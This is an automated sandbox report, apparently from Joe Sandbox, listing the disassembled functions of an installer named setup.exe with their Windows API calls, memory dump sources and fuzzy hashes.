Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: CloseHandlePathSearch
String ID: C:\Users\user\AppData\Local\Temp\$Error launching installer
API String ID: 4258352748-1785902839
Opcode ID: 3b814a6f076d0ba9038e170a1e0f3647fdefee354992cb10a65e7e77ca0a2381
Instruction ID: 069b69ca15cd8b990da55ccc95fe3be7356009797bdfa18ab8f6d6c8c96e71ef
Opcode Fuzzy Hash: 3b814a6f076d0ba9038e170a1e0f3647fdefee354992cb10a65e7e77ca0a2381
Instruction Fuzzy Hash: A3E0ECB4A00219BFDB00AF64ED49AAB7BBDEB00305F90C522A911E2150D775D8118AB9

Uniqueness

Uniqueness Score: -1.00%

Function 004015B3 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 004056ED: CharNextA.USER32(0040549F,?,004218A8,00000000,00405751,004218A8,004218A8,?,?,74DF2EE0,0040549F,?,"C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe",74DF2EE0), ref: 004056FB
Part of subcall function 004056ED: CharNextA.USER32(00000000), ref: 00405700
Part of subcall function 004056ED: CharNextA.USER32(00000000), ref: 0040570F

CreateDirectoryA.KERNEL32(00000000,?,00000000,0000005C,00000000,000000F0), ref: 004015DB
GetLastError.KERNEL32(?,00000000,0000005C,00000000,000000F0), ref: 004015E5
GetFileAttributesA.KERNEL32(00000000,?,00000000,0000005C,00000000,000000F0), ref: 004015F3
SetCurrentDirectoryA.KERNEL32(00000000,00429800,00000000,00000000,000000F0), ref: 00401622

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: CharNext$Directory$AttributesCreateCurrentErrorFileLast
String ID:
API String ID: 3751793516-0
Opcode ID: 79158bb1b9e0f9446a8291b1140989ad94052719e68ebd3d846b01836d69eb3e
Instruction ID: c38907cd9fbddcdb820990ab727de55d75fa8bca08f123d111df4852c942a759
Opcode Fuzzy Hash: 79158bb1b9e0f9446a8291b1140989ad94052719e68ebd3d846b01836d69eb3e
Instruction Fuzzy Hash: 7E010431D08141AFDB216F751D4497F27B0AA56369728073FF891B22E2C63C0942962E

Uniqueness

Uniqueness Score: -1.00%

Function 00403208 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 20COMMON

Download Yara Rule

APIs

Part of subcall function 00405DC8: CharNextA.USER32(?,*?|<>/":,00000000,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe",C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E20
Part of subcall function 00405DC8: CharNextA.USER32(?,?,?,00000000), ref: 00405E2D
Part of subcall function 00405DC8: CharNextA.USER32(?,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe",C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E32
Part of subcall function 00405DC8: CharPrevA.USER32(?,?,"C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe",C:\Users\user\AppData\Local\Temp\,00000000,00403214,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00405E42

CreateDirectoryA.KERNEL32(C:\Users\user\AppData\Local\Temp\,00000000,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,00000000,00403386), ref: 00403229

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403209, 0040320E, 00403214, 00403220, 00403228, 0040322F
1033, xrefs: 00403230

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: Char$Next$CreateDirectoryPrev
String ID: 1033$C:\Users\user\AppData\Local\Temp\
API String ID: 4115351271-517883005
Opcode ID: abd89e45c2a658b1316b3d4f01b0b3756ccb9227471bfd75c63f163c6189ffd7
Instruction ID: 28437e5e833f6c5712a3d87292ca06883de7807d6adf700678bf42288e0e849f
Opcode Fuzzy Hash: abd89e45c2a658b1316b3d4f01b0b3756ccb9227471bfd75c63f163c6189ffd7
Instruction Fuzzy Hash: 11D0C922656E3032C651363A3C0AFDF091C8F5271AF55847BF908B40D64B6C5A5259EF

Uniqueness

Uniqueness Score: -1.00%

Function 00406566 Relevance: 5.2, APIs: 4, Instructions: 236COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b47bfdafb4299acf6df14b1a265fb959f908a42d38d0bc6d60d6342fbb02c28f
Instruction ID: 319d18918fa2cc3741333e20ed782d5c303dd2f769888eebbc994f2124d7c2e6
Opcode Fuzzy Hash: b47bfdafb4299acf6df14b1a265fb959f908a42d38d0bc6d60d6342fbb02c28f
Instruction Fuzzy Hash: 29A15171E00229CBDF28CFA8C8547ADBBB1FF44305F15812AD856BB281D7789A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406767 Relevance: 5.2, APIs: 4, Instructions: 208COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d0b545a720d06a2780d8eb9310de1c164ea8e259f40aa19cdef3f662a7789f4d
Instruction ID: 868f2ec1f3ea74d7de1394d818727f69d5aca31e92bf34b5737afca42cfaef71
Opcode Fuzzy Hash: d0b545a720d06a2780d8eb9310de1c164ea8e259f40aa19cdef3f662a7789f4d
Instruction Fuzzy Hash: 6E913171D00229CBEF28CF98C8547ADBBB1FF44305F15812AD856BB281C7789A9ADF44

Uniqueness

Uniqueness Score: -1.00%

Function 0040647D Relevance: 5.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3ca4e82cbd918d9bc6f131d9bc7fd5d61b9600368ad5a57dd77e762cc9babb20
Instruction ID: e06b97397237a54a8f7c6fae7a0c48c933f493286525731b7b3672fa0d973436
Opcode Fuzzy Hash: 3ca4e82cbd918d9bc6f131d9bc7fd5d61b9600368ad5a57dd77e762cc9babb20
Instruction Fuzzy Hash: 678155B1D00229CFDF24CFA8C8447ADBBB1FB44305F25816AD456BB281D7789A96CF54

Uniqueness

Uniqueness Score: -1.00%

Function 00405F82 Relevance: 5.2, APIs: 4, Instructions: 198COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c94337aa44be19872a05e7fe324c1f72408cb83bc4afcb37e89916e28dd5cdb7
Instruction ID: 3ccfc7c80e99de65fa6db0e0edc8679980b1d0ea62cd2807200041591328ae3c
Opcode Fuzzy Hash: c94337aa44be19872a05e7fe324c1f72408cb83bc4afcb37e89916e28dd5cdb7
Instruction Fuzzy Hash: D98187B1D00229CBDF24CFA8C8447AEBBB1FB44305F11816AD856BB2C1C7785A96CF44

Uniqueness

Uniqueness Score: -1.00%

Function 004063D0 Relevance: 5.2, APIs: 4, Instructions: 180COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 040a7e0d789931a885e98904e34fb369bef72c7c312577bd0d6f252efd828c84
Instruction ID: 235c9a1f152390887c8e3346b3cf8cf745e7d176c25095dba4735a56a8f4339d
Opcode Fuzzy Hash: 040a7e0d789931a885e98904e34fb369bef72c7c312577bd0d6f252efd828c84
Instruction Fuzzy Hash: 80714371D00229CBDF28CFA8C8447ADBBF1FB48305F15806AD846BB281D7395A96DF54

Uniqueness

Uniqueness Score: -1.00%

Function 004064EE Relevance: 5.2, APIs: 4, Instructions: 170COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 55b1e8378e3b2d282ecc9e99db2cbf184c75cfe722202a43e2005f386b139382
Instruction ID: 067b91939e33353516387f96afd3df60e22fb0a2a23546be1218d687de4ca84d
Opcode Fuzzy Hash: 55b1e8378e3b2d282ecc9e99db2cbf184c75cfe722202a43e2005f386b139382
Instruction Fuzzy Hash: 14715371E00229CFEF28CF98C844BADBBB1FB44305F15816AD816BB281C7799996DF54

Uniqueness

Uniqueness Score: -1.00%

Function 0040643A Relevance: 5.2, APIs: 4, Instructions: 168COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c10b0ec6d8a1716373c4594016b158d4b4e2bf5790cbb1f15a9d43b973b4a336
Instruction ID: fa01dbb36adddbb747bc37ce8d7c8691094d52a97b4972d7f98645f49a39bfe1
Opcode Fuzzy Hash: c10b0ec6d8a1716373c4594016b158d4b4e2bf5790cbb1f15a9d43b973b4a336
Instruction Fuzzy Hash: B3715671D00229CBEF28CF98C844BADBBB1FF44305F11816AD856BB281C7795A56DF54

Uniqueness

Uniqueness Score: -1.00%

Function 00401E1B Relevance: 4.5, APIs: 3, Instructions: 48synchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 00404F04: lstrlenA.KERNEL32(Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000,?), ref: 00404F3D
Part of subcall function 00404F04: lstrlenA.KERNEL32(00402C4A,Completed,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00402C4A,00000000), ref: 00404F4D
Part of subcall function 00404F04: lstrcatA.KERNEL32(Completed,00402C4A,00402C4A,Completed,00000000,00000000,00000000), ref: 00404F60
Part of subcall function 00404F04: SetWindowTextA.USER32(Completed,Completed), ref: 00404F72
Part of subcall function 00404F04: SendMessageA.USER32 ref: 00404F98
Part of subcall function 00404F04: SendMessageA.USER32 ref: 00404FB2
Part of subcall function 00404F04: SendMessageA.USER32 ref: 00404FC0

Part of subcall function 004053C6: SearchPathW.KERNEL32 ref: 004053EB
Part of subcall function 004053C6: CloseHandle.KERNEL32(?), ref: 004053F8

WaitForSingleObject.KERNEL32(?,00000064,00000000,000000EB,00000000), ref: 00401E55
GetExitCodeProcess.KERNEL32(?,?), ref: 00401E65
CloseHandle.KERNEL32(?,00000000,000000EB,00000000), ref: 00401E8A

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: MessageSend$CloseHandlelstrlen$CodeExitObjectPathProcessSearchSingleTextWaitWindowlstrcat
String ID:
API String ID: 1862049350-0
Opcode ID: 1fdde52640a539061ac3941da348919b66d20a0eed5ed07477821aeb51be007f
Instruction ID: 355628b0c836e6669011c6779fae97b23835f6d082b04fdd633ca662238f37b1
Opcode Fuzzy Hash: 1fdde52640a539061ac3941da348919b66d20a0eed5ed07477821aeb51be007f
Instruction Fuzzy Hash: 19019271D04215EBCF11AF91CD8599E7A75EB40358F20403BFA05B51E1C3794A82DBDE

Uniqueness

Uniqueness Score: -1.00%

Function 00402427 Relevance: 4.5, APIs: 3, Instructions: 44registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00402B00: RegOpenKeyExA.KERNEL32(00000000,?,00000000,00000022,00000000,?,?), ref: 00402B28

RegEnumKeyA.ADVAPI32(00000000,00000000,?,000003FF), ref: 00402455
RegEnumValueA.ADVAPI32 ref: 00402468
RegCloseKey.ADVAPI32(?,?,?,C:\Users\user\AppData\Local\Temp\nsn8043.tmp,00000000,?,?,?,00000000,?,?,?,00000011,00000002), ref: 0040247D

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: Enum$CloseOpenValue
String ID:
API String ID: 167947723-0
Opcode ID: 7ee753624dbf1d18677495706af09138f056117853e35c5539aac98112ad9ba3
Instruction ID: ca0bea074700aed3f6d5cd19b6a76ded14fd7da9354d4d4a85815760a07b6232
Opcode Fuzzy Hash: 7ee753624dbf1d18677495706af09138f056117853e35c5539aac98112ad9ba3
Instruction Fuzzy Hash: 31F0A271A04201EFE715AF659E88EBB7A6CDB40398F10443FF406A61C0D6B85D42967A

Uniqueness

Uniqueness Score: -1.00%

Function 00402506 Relevance: 3.1, APIs: 2, Instructions: 79fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(?,?,00000001,?,?,?,00000002), ref: 00402552

Part of subcall function 00405AC4: wsprintfA.USER32 ref: 00405AD1

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: FileReadwsprintf
String ID:
API String ID: 3326442220-0
Opcode ID: f09489efe15c3b80ce99059f114ac931b0952256192e953ec66e22e0d2490737
Instruction ID: 6cc84ed2bafa7cfa1e138a8cf3ad7e95c15831b5a897215fce06e49f2d1c7330
Opcode Fuzzy Hash: f09489efe15c3b80ce99059f114ac931b0952256192e953ec66e22e0d2490737
Instruction Fuzzy Hash: 6821F870D05259BFCF219F648E595EEBBB49B01304F14817BE881B63D2D1BC8A81C72D

Uniqueness

Uniqueness Score: -1.00%

Function 00401389 Relevance: 3.0, APIs: 2, Instructions: 43windowCOMMON

Download Yara Rule

APIs

MulDiv.KERNEL32(00007530,00000000,00000000,?,00000000,00401420,?,00000000,004035A5,00000009), ref: 004013E4
SendMessageA.USER32 ref: 004013F4

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: 7b8e9ba5108b55dad21e1cb19ef7846daac3b048e1c883625bc8c045044f289d
Instruction ID: b71ad761f0ea07ecc4e6183a90c0cd8288537aab3e92bb5761005deb6e4a9b1f
Opcode Fuzzy Hash: 7b8e9ba5108b55dad21e1cb19ef7846daac3b048e1c883625bc8c045044f289d
Instruction Fuzzy Hash: 20014431B24210ABE7291B388D08B2A32ADE714315F10423FF801F32F0D678DC028B4C

Uniqueness

Uniqueness Score: -1.00%

Function 0040583D Relevance: 3.0, APIs: 2, Instructions: 16fileCOMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000003,00402CB5,C:\Users\user\AppData\Local\Temp\is-CTG90.tmp\setup.exe,80000000,00000003), ref: 00405841
CreateFileA.KERNEL32(?,?,00000001,00000000,?,00000001,00000000), ref: 00405863

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: File$AttributesCreate
String ID:
API String ID: 415043291-0
Opcode ID: 6d56aff3fab625e069b8f0f4beb3d6c68df7a2746e2dd21b0a72e0224e52029a
Instruction ID: 90a47e22fdd321f70bf06df01bfdefa11f3e73682391c7296034eb3a8fe04f39
Opcode Fuzzy Hash: 6d56aff3fab625e069b8f0f4beb3d6c68df7a2746e2dd21b0a72e0224e52029a
Instruction Fuzzy Hash: 8CD09E31658301AFEF098F20DD1AF2E7AA2EB84B00F10562CB646940E0D6715815DB16

Uniqueness

Uniqueness Score: -1.00%

Function 0040581E Relevance: 3.0, APIs: 2, Instructions: 9COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(?,00405629,?,?,?), ref: 00405822
SetFileAttributesA.KERNEL32(?,00000000), ref: 00405834

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 499c41a265c8c72c251eb99c81a2d8ea197c0ca55525d81af5d9f53b6a62e1c9
Instruction ID: 89544605ef234ac14ed66c3b065a2d642d1346908a696065e0ba681aeed38476
Opcode Fuzzy Hash: 499c41a265c8c72c251eb99c81a2d8ea197c0ca55525d81af5d9f53b6a62e1c9
Instruction Fuzzy Hash: F8C04CB1808501ABD7056B24EF0D81F7B66EF50325B108B35F5A9E00F0C7355C66DA1A

Uniqueness

Uniqueness Score: -1.00%

Function 00402B00 Relevance: 1.5, APIs: 1, Instructions: 22registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(00000000,?,00000000,00000022,00000000,?,?), ref: 00402B28

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904422285.0000000000436000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_setup.jbxd

Similarity

API ID: Open
String ID:
API String ID: 71445658-0
Opcode ID: b5dfad00fa1cd151fd60990f5b06a3c2bada7c6ed29f77274f64d0dacc55a64b
Instruction ID: c0cb2249de0b0b7c7cf81be38287cf815beb59390f5746c35b3b1e544e0707b9
Opcode Fuzzy Hash: b5dfad00fa1cd151fd60990f5b06a3c2bada7c6ed29f77274f64d0dacc55a64b
Instruction Fuzzy Hash: BFE08676640108BFDB50DFA4ED4BFD637ECB704340F008421B608D7091C678F5409B68

Uniqueness

Uniqueness Score: -1.00%

Function 004031BF Relevance: 1.5, APIs: 1, Instructions: 22fileCOMMON

Download Yara Rule

APIs

ReadFile.KERNEL32(00409130,00000000,00000000,00000000,00413040,0040B040,004030C4,00413040,00004000,?,00000000,?,00402F4E,00000004,00000000,00000000), ref: 004031D6

Memory Dump Source

Source File: 00000002.00000002.2904093803.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.2903968160.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904198773.0000000000407000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000409000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000422000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000002.00000002.2904253911.0000000000429000.00000004.00000001.01000000.00000007.sdmpDownload File
